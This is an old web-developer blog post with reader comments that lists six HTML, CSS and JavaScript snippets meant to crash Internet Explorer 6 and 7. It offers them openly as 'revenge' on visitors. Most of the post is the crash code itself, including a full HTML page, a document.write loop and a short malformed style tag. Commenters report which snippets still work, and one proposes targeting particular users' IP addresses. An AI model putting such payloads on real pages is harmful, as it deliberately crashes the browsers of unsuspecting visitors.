6 html and javascript codes to crash IE6

by Jean-Baptiste Jung. 67 Comments -

Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.
Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.
After all, this browser is such a pain for developers, that we have the right to avenge us from time to time;)

Let’s start with the longest of all:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body> 

</html>

Javascript and IE6, a true love story…

<script>for (x in document.write) { document.write(x);}</script>

This one was discover last year:

<style>*{position:relative}</style><table><input></table>

Anti-IE Javascript strikes back!

<body onLoad=”window()”>

Now my favorite: 11 symbols and…bang :D 

<STYLE>@;/*

This one is the only one I know which make IE7 crash:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

Have some nice crashs ;)

Comments (67) - Leave yours

  3. Web 2.0 Announcer said:

    6 html and javascript codes to crash IE6…

    [...]Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.&#xD;
    Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.&#xD;…

  14. shoban said:

    the second one just closes the IE and does not crash … I tried by opening 2 windows and one just closed!! can u call this crashing? :)

    BTW I never use IE…

  15. shoban said:

    “Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.”

    this is true…. :(

  16. jbj said:

    @shoban: For what I remember, the second crash IE as well as the others. I don’t have IE right now, but i’ll make a retry when i’ll be at work.
    Btw, which serious people still use IE?

  17. Como derrubar o Internet Explorer | Tecnologia da Informação - Desenvolvimento e Educação said:

    [...] O CatsWhoCode parece ser o endereço dos desenvolvedores que têm asco do Internet Explorer. Creio que meu leitor conhece minha preferência pelo Firefox. Mas estou resignado a usar o Firefox e ignorar um outro navegador bastante utilizado. Este não é o caso do CatsWhoCode que publicou uma lista de seis formas de derrubar o Internet Explorer: [...]

  18. Milan Petrovic said:

    IE is still used by the majority of internet users because it’s convinient, every Windows has it. But it’s good treand to see that this number is smaller every day. I have been looking data for my blogs, and IE7 is third, and IE6 fifth browser. Firefox2 and Opera9 are first two. So, eventually IE6 will be gone, and IE7 is not that bad, but I would like to see it gone too. God help us with new IE8.

  21. kaioamatico said:

    the last one does not work at all…

    but the one with “position:relative” discovered last year still works on fully patched IE7 & XP SP3!

    there was even an icq 6 crash possible meanwhile..

  22. shanna said:

    Designers should STOP using all kinds of hacks to make their designs work in IE. I mean, it’s about time all the people who still use IE migrate (…) to browsers that do a better job. Please let IE crash BIG TIME and let’s take it to the graveyard and get it over with, once and for all.
    About time it becomes extinct.

    My humble opinion…

  27. zaphod said:

    just for fun….
    this actually works, tested back to ie 5, on safari and FF 2 & 3

    function getX( oElement ) {
    var iReturnValue = 0;
    do{
    iReturnValue += oElement.offsetLeft;
    }while(oElement = oElement.offsetParent)
    return iReturnValue;
    }

    there is no typo, ‘while(oElement = oElement.offsetParent)’ is the important line

  30. Jack said:

    The People out there who still use IE is the people not often use computer, thats why they don’t know how bad IE is. No need care for them.

  32. Defending IE6 - blog - coda.coza said:

    [...] Lately I’ve noticed an increasing trend among web designers/developers who are proudly announcing their decision to drop Internet Explorer 6 from their list of supported browsers, or advocating ways that enforce IE6 users into upgrading. Some of these methods are good for a laugh, some make the usual noise (complicate your markup with upgrade messages), while others are downright scary. [...]

  38. Tetsui said:

    I have a great idea. All those in the web design/dev arena decide on a date when we all stop using ie6. It will be a unified push to get rid of the enemy. I think we have pandered to its oppresive regine far too long, lets stand up for “ie must die day”, spread the word!

  40. groovey said:

    C’mon… Rather make nice flashing “IE6 not supported, please upgrade to newer browser.” It is easier and smarter.

  41. Taruna said:

    omg !! guess what i was given with as the first task with my this new job was to fix their website on IE6, and I got the success in everything, just couldn’t get my PNG Fix (sob)

  43. Eldev said:

    IE 6 restrictions in the integration with Javascript code haven’t been finally eliminated in the 7th issue of Internet Explorer. My experience proves that it’s possible to deal with IE and Firefox but it’s really impossible to make cross browsing code in JS for Opera browsers.

  44. 15+ amazing anti IE resources said:

    [...] Inter Explorer can easily being crashed by including some code in your source files. This article shows up to 6 different methods to get rid of the loser's browser. » http://www.catswhocode.com/blog/6-html-and-javascript-codes-to-crash-ie6 [...]

  45. DrKode said:

    I have tried to create a html file with content “@;/*” just to try out this IE crasher on my corporate IE6. But McAfee virus scanner detected it as Trojan! :D

  49. .©@®L:focus { } said:

    I’d guess a good way should be to put the 11-symbol trick inside a switch.
    Like:

    @;/*

    Even if the page will work in other browsers, it doesn’t feel good to leave a tag opened like that. Must be better to hide from the other ones?

    And thanks jbj for this great page.

  52. Sebs said:

    The point is though, they can’t do anything useful on your website anymore. So I would target particularly stubburn person’s IP addresses.

  58. Bilend said:

    A Simple PHP script not to display pages (if it’s IE6) will do the trick! lol, and better to show a message:
    “Sorry, you are using IE6. Get a life!”
    Lol

  59. Catalin said:

    Hehe Shanna, I’m sure 99% of all the web developers share your frustration including myself.
    Sadly, it’s not that easy to get rid of such problems, regarding browser compatibility.
    If it wouldn’t have been Microsoft that launched one of the first web browsers, it would’ve simply been another company.
    Starting with a “primitive” browser with the technology of the day is inevitable not to have it outrun by the technology of tomorrow and keeping up with the competitors is hard, we are to blame them though for the lack of update support they have offered, I’ll have to agree here.

  60. Nut said:

    for (x in document.write) { document.write(x);}
    This code works! Tested on my site and work! Hint IE8 won’t crash;just IE6! Not sure about IE7 can’t test on that!
    Tested in Windows XP mode in Windows 7.
    Die IE6! Die!

  61. Jim L said:

    Hey great job on this but regarding:”

    function galgenfrist() {
    window.setTimeout(‘crashIE();’,1000);
    }

    function crashIE() {
    var moveNode = document.getElementById(“move”);
    if(moveNode) {
    moveNode.style.top = “100px”;
    moveNode.style.left = “200px”;
    }”

    I cant seem to get that to work what am i doing wrong?

  62. David said:

    Haha, freaking awesome!

    However, I rather than just pissing off users so they never come back, why not notify them of the problem first? Like, IE will self distruct in 5… 4…
    (Download Firefox or Safari asap!)

    Simple javascript counter onload(), something of the sort? Or just give a huge error message that forwards them to FF Chrome or another browser’s download page?

  63. Derek said:

    Haha! This one here is 100% crashing-guarantee cross-browser capable, including the V8 of Google Chrome! >:-) (evil…)
    http://polygeek.com/497_flex_click-here-to-crash-your-browser

  65. Don said:

    Internet Explorer is the worst browser so far for both surfers and developers. That’s why Firefox and Chrome rule.
    Thank you for the nice post. It was fun testing some of them.

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